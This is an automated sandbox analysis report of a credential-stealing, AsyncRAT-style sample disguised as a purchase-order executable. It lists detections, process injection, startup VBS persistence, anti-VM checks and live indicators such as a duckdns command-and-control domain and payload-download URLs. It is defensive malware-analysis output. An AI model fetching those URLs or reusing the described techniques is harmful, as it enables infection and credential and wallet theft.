Edit tour

Windows Analysis Report
PO-12202432_ACD_Group.pif.exe

Overview

General Information

Sample name:	PO-12202432_ACD_Group.pif.exe
Analysis ID:	1586913
MD5:	95bec6594e293a42f4abb049ea7e81db
SHA1:	36ece8150f0619fc81bbf92bd840cad252bf1aea
SHA256:	43057c1f8e32c29342cfb790c692c291f33526f9be1380758b9c7c42344a5948
Tags:	exeuser-lowmal3
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

AI detected suspicious sample

Drops VBS files to the startup folder

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Uses dynamic DNS services

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

PO-12202432_ACD_Group.pif.exe (PID: 3668 cmdline: "C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe" MD5: 95BEC6594E293A42F4ABB049EA7E81DB)

InstallUtil.exe (PID: 5008 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

wscript.exe (PID: 7056 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

IsNestedFamANDAssem.exe (PID: 2300 cmdline: "C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe" MD5: 95BEC6594E293A42F4ABB049EA7E81DB)

InstallUtil.exe (PID: 5488 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2380281455.0000000004803000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2148862105.0000000002C3C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2165084237.00000000066B0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.2368359291.000000000311C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2157610900.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.4467446341.0000000002B37000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PO-12202432_ACD_Group.pif.exe PID: 3668	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: PO-12202432_ACD_Group.pif.exe PID: 3668	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 5008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: IsNestedFamANDAssem.exe PID: 2300	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: IsNestedFamANDAssem.exe PID: 2300	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 5488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
5.2.IsNestedFamANDAssem.exe.4803b08.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.PO-12202432_ACD_Group.pif.exe.66b0000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.PO-12202432_ACD_Group.pif.exe.3e609a0.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs" , ProcessId: 7056, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs" , ProcessId: 7056, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe, ProcessId: 3668, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs

Suricata Signatures

ET MALWARE Generic AsyncRAT Style SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T18:57:13.558600+0100	2035595	1	Domain Observed Used for C2 Detected	193.187.91.218	50787	192.168.2.5	49710	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PO-12202432_ACD_Group.pif.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe

Avira: detection malicious, Label: HEUR/AGEN.1308638

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe

ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Source: PO-12202432_ACD_Group.pif.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: PO-12202432_ACD_Group.pif.exe

Joe Sandbox ML: detected

Source: PO-12202432_ACD_Group.pif.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Source: unknown	HTTPS traffic detected: 209.58.149.225:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.58.149.225:443 -> 192.168.2.5:49712 version: TLS 1.2

Source: PO-12202432_ACD_Group.pif.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2157610900.000000000476A000.00000004.00000800.00020000.00000000.sdmp, PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2157610900.00000000045F3000.00000004.00000800.00020000.00000000.sdmp, PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2170019027.00000000067E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2157610900.000000000476A000.00000004.00000800.00020000.00000000.sdmp, PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2157610900.00000000045F3000.00000004.00000800.00020000.00000000.sdmp, PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2170019027.00000000067E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: Repos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: IsNestedFamANDAssem.exe, 00000005.00000002.2380281455.0000000004C98000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Repos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: IsNestedFamANDAssem.exe, 00000005.00000002.2380281455.0000000004C98000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 4x nop then jmp 067DE693h	0_2_067DE318
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 4x nop then jmp 067DE693h	0_2_067DE497
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 4x nop then jmp 067DE693h	0_2_067DE308
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 4x nop then jmp 06EAE693h	5_2_06EAE318
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 4x nop then jmp 06EAE693h	5_2_06EAE497
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 4x nop then jmp 06EAE693h	5_2_06EAE308

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2035595 - Severity 1 - ET MALWARE Generic AsyncRAT Style SSL Cert : 193.187.91.218:50787 -> 192.168.2.5:49710

Uses dynamic DNS services

Source: unknown

DNS query: name: pureeratee.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.5:49710 -> 193.187.91.218:50787

Source: Joe Sandbox View

ASN Name: OBE-EUROPEObenetworkEuropeSE OBE-EUROPEObenetworkEuropeSE

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /wp-panel/uploads/Vwibbc.mp4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: www.chirreeirl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-panel/uploads/Vwibbc.mp4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: www.chirreeirl.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /wp-panel/uploads/Vwibbc.mp4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: www.chirreeirl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-panel/uploads/Vwibbc.mp4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: www.chirreeirl.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: www.chirreeirl.com
Source: global traffic	DNS traffic detected: DNS query: pureeratee.duckdns.org

Source: InstallUtil.exe, 00000002.00000002.4465370067.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: InstallUtil.exe, 00000002.00000002.4475159585.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2148862105.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, IsNestedFamANDAssem.exe, 00000005.00000002.2368359291.00000000030D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll
Source: InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe
Source: InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2148862105.0000000002C3C000.00000004.00000800.00020000.00000000.sdmp, PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, IsNestedFamANDAssem.exe, 00000005.00000002.2368359291.000000000311C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: InstallUtil.exe, 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354rCannot
Source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2148862105.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, IsNestedFamANDAssem.exe, 00000005.00000002.2368359291.00000000030D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.chirreeirl.com
Source: PO-12202432_ACD_Group.pif.exe, IsNestedFamANDAssem.exe.0.dr	String found in binary or memory: https://www.chirreeirl.com/wp-panel/uploads/Vwibbc.mp4

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 209.58.149.225:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.58.149.225:443 -> 192.168.2.5:49712 version: TLS 1.2

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C1C88 NtProtectVirtualMemory,	0_2_067C1C88
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C4B38 NtResumeThread,	0_2_067C4B38
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C1C81 NtProtectVirtualMemory,	0_2_067C1C81
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C4B30 NtResumeThread,	0_2_067C4B30
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CDFEC0 NtProtectVirtualMemory,	5_2_06CDFEC0
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CDFEB8 NtProtectVirtualMemory,	5_2_06CDFEB8
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CDFF89 NtProtectVirtualMemory,	5_2_06CDFF89
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06E931D8 NtResumeThread,	5_2_06E931D8
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06E931D0 NtResumeThread,	5_2_06E931D0

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_0106A041	0_2_0106A041
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_0106A067	0_2_0106A067
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_010628E0	0_2_010628E0
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_010628F0	0_2_010628F0
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_01062E78	0_2_01062E78
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_05AFE6A0	0_2_05AFE6A0
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_05AFE685	0_2_05AFE685
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_05AF30C8	0_2_05AF30C8
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_05AF30D8	0_2_05AF30D8
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065AF628	0_2_065AF628
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065A4C78	0_2_065A4C78
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065A7038	0_2_065A7038
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065A89AB	0_2_065A89AB
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065ACF18	0_2_065ACF18
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065ACF08	0_2_065ACF08
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065A4C68	0_2_065A4C68
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065A1420	0_2_065A1420
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06607490	0_2_06607490
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06603B0F	0_2_06603B0F
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066005A9	0_2_066005A9
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066005B8	0_2_066005B8
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06605128	0_2_06605128
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06603E47	0_2_06603E47
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A0040	0_2_066A0040
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A74B0	0_2_066A74B0
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A0006	0_2_066A0006
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A74A0	0_2_066A74A0
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A6160	0_2_066A6160
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A6117	0_2_066A6117
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A79C1	0_2_066A79C1
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A61A8	0_2_066A61A8
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A6198	0_2_066A6198
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C5A54	0_2_067C5A54
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C5E95	0_2_067C5E95
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C5A96	0_2_067C5A96
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C5A93	0_2_067C5A93
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C5DF4	0_2_067C5DF4
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C59D8	0_2_067C59D8
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C59C8	0_2_067C59C8
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067D3E58	0_2_067D3E58
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067D97F0	0_2_067D97F0
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067D97DF	0_2_067D97DF
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067D9C25	0_2_067D9C25
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067DBCB8	0_2_067DBCB8
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067DBCA8	0_2_067DBCA8
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067DE497	0_2_067DE497
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06AAE2B0	0_2_06AAE2B0
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06AADF00	0_2_06AADF00
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06A90006	0_2_06A90006
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06A90040	0_2_06A90040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_00E31A40	2_2_00E31A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_00E31A40	2_2_00E31A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_00E31A30	2_2_00E31A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_00E34B40	2_2_00E34B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_00E34B3D	2_2_00E34B3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_00E31E20	2_2_00E31E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_00E31E30	2_2_00E31E30
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_0166A041	5_2_0166A041
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_0166A067	5_2_0166A067
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_016628E0	5_2_016628E0
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_016628F0	5_2_016628F0
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_01662E78	5_2_01662E78
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_0609C9B8	5_2_0609C9B8
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_060930C8	5_2_060930C8
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_060930D8	5_2_060930D8
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_0609C9A8	5_2_0609C9A8
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06C7F628	5_2_06C7F628
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06C74C78	5_2_06C74C78
